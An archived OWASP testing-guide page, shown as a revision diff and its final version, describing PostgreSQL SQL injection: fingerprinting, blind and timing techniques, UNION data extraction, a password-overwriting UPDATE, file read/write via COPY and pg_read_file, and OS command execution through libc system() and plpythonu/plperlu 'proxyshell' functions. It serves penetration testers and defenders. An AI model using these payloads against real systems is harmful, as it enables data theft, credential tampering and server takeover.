This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "OWASP Backend Security Project Testing PostgreSQL"

From OWASP
Jump to: navigation, search
 
(48 intermediate revisions by 9 users not shown)
Line 1: Line 1:
= Overview =
+
==Summary==
  
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.
+
In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the following characteristics:
  
= Description =
+
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
 +
* SQL Statements can be truncated by appending the comment char: '''--'''.
 +
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''
  
== Identifing PostgreSQL ==
+
From now on it is assumed that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.
  
When a SQL Injection has been found you need to carefully  
+
==How to Test==
fingerprint backend database engine. You can determine that backend database engine
+
 
is PostgreSQL by using one of the above peculiarities:
+
=== Identifying PostgreSQL ===
 +
 
 +
When a SQL Injection has been found, you need to carefully  
 +
fingerprint the backend database engine. You can determine that the backend database engine
 +
is PostgreSQL by using the ''::'' cast operator.
  
* String concatenation by using the operator: ''||''
 
* Casting by using the operator: ''::''
 
  
 
'''Examples:'''
 
'''Examples:'''
  <nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki>
 
 
   <nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>
  
== PostgreSQL Peculiarities ==
 
  
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator
+
In addition, the function ''version()'' can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.
+
 
  
 
'''Example''':
 
'''Example''':
  <nowiki> http://www.example.com/store.php?id=1--hello world </nowiki>
 
  <nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki>
 
  
== Banner Grabbing ==
+
  <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
  
Function version() can be used to accomplish this task.
 
  
select version():
+
An example of a banner string that could be returned is:
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
+
  PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
 
 
 
 
'''Example''':
 
  
  <nowiki>http://www.example.com/store.php?id=1</nowiki>
 
        Acme Biscuits
 
 
  
  <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
+
=== Blind Injection ===
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
 
  
== Blind Injection ==
 
  
For blind SQL Injection you should take in consideration internal provided functions:
+
For blind SQL injection attacks, you should take into consideration the following built-in functions:
  
 
* String Length
 
* String Length
Line 55: Line 46:
 
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''
 
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''
  
== Timing Attacks ==
 
  
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current
+
Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds.  
+
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).
 +
 
  
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:
+
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:
 
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
 
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
 
  
== Single Quote (un)Escape ==
 
  
String can be encoded, to prevent single quotes escaping, by using chr() function.
+
=== Single Quote unescape ===
 +
 
 +
Strings can be encoded, to prevent single quotes escaping, by using chr() function.
  
  * chr(n): Returns the character whose ascii value corresponds to the number
+
* chr(n): Returns the character whose ASCII value corresponds to the number n
  * ascii(n): Returns the ascii value corresponds to the character
+
* ascii(n): Returns the ASCII value which corresponds to the character n
  
  
Let say you want to encode the string 'root':
+
Let's say you want to encode the string 'root':
 
   select ascii('r')
 
   select ascii('r')
 
   114
 
   114
Line 81: Line 72:
  
  
 +
We can encode 'root' as:
 +
  chr(114)||chr(111)||chr(111)||chr(116)
  
We can encode 'root' with:
 
  chr(114)||chr(111)||chr(111)||chr(116)
 
  
 
'''Example:'''  
 
'''Example:'''  
 
   <nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>
  
== Current User ==
 
  
Current user can be retrieved with the following SQL SELECT statements:
+
=== Attack Vectors ===
 +
 
 +
==== Current User ====
 +
 
 +
The identity of the current user can be retrieved with the following SQL SELECT statements:
  
 
   SELECT user
 
   SELECT user
Line 103: Line 97:
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>
  
== Current Database ==
 
  
Native function current_database() return current database name.
+
==== Current Database ====
 +
 
 +
The built-in function current_database() returns the current database name.
 +
 
  
 
'''Example''':
 
'''Example''':
Line 111: Line 107:
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>
  
== Enumerating Databases ==
 
  
 +
==== Reading from a file ====
  
== Enumerating Tables ==
+
PostgreSQL provides two ways to access a local file:
 +
* COPY statement
 +
* pg_read_file() internal function (starting from PostgreSQL 8.1)
  
  
== Attack Vectors ==
+
'''COPY:'''
  
=== Reading from a file ===
+
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.
  
ProstgreSQL provides two way to access local file:
 
* COPY statement
 
* pg_read_file() internal function (starting from PostgreSQL 8.1)
 
  
'''COPY:'''
+
'''Example:'''
 +
 
 +
  <nowiki>
 +
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
 +
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
 +
</nowiki>
 +
 
  
This operator copies data between file and table. Thus in order to user it you need to enumerate
+
Data should be retrieved by performing a ''UNION Query SQL Injection'':
at least one table and one column to store result within.
+
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement
How to enumerate tables and columns has been discussed on previous sections.
+
* retrieves a row at a time with UNION SQL Injection
  
  
 
'''Example:'''
 
'''Example:'''
 +
<nowiki>
 +
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
 +
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
 +
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
 +
...
 +
...
 +
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
 +
</nowiki>
  
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging
+
'''pg_read_file():'''
to current database.  You can retrieve ''postgres client'' history with the following trick:
 
  
  <nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'#</nowiki>
 
  
 +
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
 +
DBMS data directory.
  
'''pg_read_file():'''
 
  
 
'''Examples:'''
 
'''Examples:'''
Line 146: Line 154:
 
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>
 
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>
  
=== Writing to a file ===
 
  
=== Shell Injection ===
+
==== Writing to a file ====
 +
 
 +
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights
 +
 
 +
<nowiki>
 +
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
 +
</nowiki>
 +
 
 +
 
 +
==== Shell Injection ====
  
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
+
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.
languages such as python, perl, tcl.
 
  
  
==== Dynamic Library ====
+
===== Dynamic Library =====
  
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':
+
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
 
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
 
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
 +
  
 
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?
 
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?
 +
  
 
Here's a little trick:
 
Here's a little trick:
Line 165: Line 182:
 
* create a ''stdout'' table
 
* create a ''stdout'' table
 
*: ''CREATE TABLE stdout(id serial, system_out text)''
 
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting it's ''stdout''
+
* executing a shell command redirecting its ''stdout''
 
*: ''SELECT system('uname -a > /tmp/test')''
 
*: ''SELECT system('uname -a > /tmp/test')''
 
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
 
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
Line 185: Line 202:
 
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
 
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
  
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1
+
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
  
 
</nowiki>
 
</nowiki>
  
==== plpython ====
 
  
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
+
===== plpython =====
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''
+
 
 +
PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
 +
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''
  
* Check if PL/Python has been enabled on some databsae:
+
* Check if PL/Python has been enabled on a database:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
+
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not assuming that sysadm has allready installed plpython package try to enable:
+
* If not, try to enable:
 
*: ''CREATE LANGUAGE plpythonu''
 
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeded create a proxy shell function:
+
* If either of the above succeeded, create a proxy shell function:
 
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
 
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
 
* Have fun with:
 
* Have fun with:
 
*: SELECT proxyshell(''os command'');
 
*: SELECT proxyshell(''os command'');
 +
  
 
'''Example:'''
 
'''Example:'''
Line 209: Line 228:
 
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''
 
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''
  
*Run a OS Command:
+
*Run an OS Command:
 
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
 
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
  
==== plperl ====
 
  
=== Smashing dblink() ===
+
===== plperl =====
 +
 
 +
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.
 +
 
 +
 
 +
* Check if PL/perl-untrusted has been enabled:
 +
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
 +
* If not, assuming that sysadm has already installed the plperl package, try :
 +
*: ''CREATE LANGUAGE plperlu''
 +
* If either of the above succeeded, create a proxy shell function:
 +
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
 +
* Have fun with:
 +
*: SELECT proxyshell(''os command'');
 +
 
 +
 
 +
'''Example:'''
 +
 
 +
*Create a proxy shell function:
 +
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>
 +
 
 +
*Run an OS Command:
 +
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
 +
 
 +
 
 +
== References ==
 +
 
 +
* OWASP : "[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]"
 +
 
 +
* OWASP : [[SQL Injection Prevention Cheat Sheet]]
  
= References =
+
* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/
  
= Tools =
+
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

Latest revision as of 16:02, 31 July 2014

Summary

In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the following characteristics:

  • PHP Connector allows multiple statements to be executed by using ; as a statement separator
  • SQL Statements can be truncated by appending the comment char: --.
  • LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From now on it is assumed that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection attacks.

How to Test

Identifying PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.


Examples:

 http://www.example.com/store.php?id=1 AND 1::int=1


In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.


Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--


An example of a banner string that could be returned is:

 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)


Blind Injection

For blind SQL injection attacks, you should take into consideration the following built-in functions:

  • String Length
    LENGTH(str)
  • Extract a substring from a given string
    SUBSTR(str,index,offset)
  • String representation with no single quotes
    CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)


Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail at Blind SQL Injection).


In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT


Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

  • chr(n): Returns the character whose ASCII value corresponds to the number n
  • ascii(n): Returns the ASCII value which corresponds to the character n


Let's say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116


We can encode 'root' as:

 chr(114)||chr(111)||chr(111)||chr(116)


Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--


Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()


Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--


Current Database

The built-in function current_database() returns the current database name.


Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--


Reading from a file

PostgreSQL provides two ways to access a local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)


COPY:

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.


Example:

 
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--


Data should be retrieved by performing a UNION Query SQL Injection:

  • retrieves the number of rows previously added in file_store with COPY statement
  • retrieves a row at a time with UNION SQL Injection


Example:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():


This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS data directory.


Examples:

  • SELECT pg_read_file('server.key',0,1000);


Writing to a file

By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--


Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.


Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT


Since system returns an int how we can fetch results from system stdout?


Here's a little trick:

  • create a stdout table
    CREATE TABLE stdout(id serial, system_out text)
  • executing a shell command redirecting its stdout
    SELECT system('uname -a > /tmp/test')
  • use a COPY statements to push output of previous command in stdout table
    COPY stdout(system_out) FROM '/tmp/test'
  • retrieve output from stdout
    SELECT system_out FROM stdout


Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--



plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG

  • Check if PL/Python has been enabled on a database:
    SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
  • If not, try to enable:
    CREATE LANGUAGE plpythonu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Have fun with:
    SELECT proxyshell(os command);


Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--


plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.


  • Check if PL/perl-untrusted has been enabled:
    SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  • If not, assuming that sysadm has already installed the plperl package, try :
    CREATE LANGUAGE plperlu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
  • Have fun with:
    SELECT proxyshell(os command);


Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--


References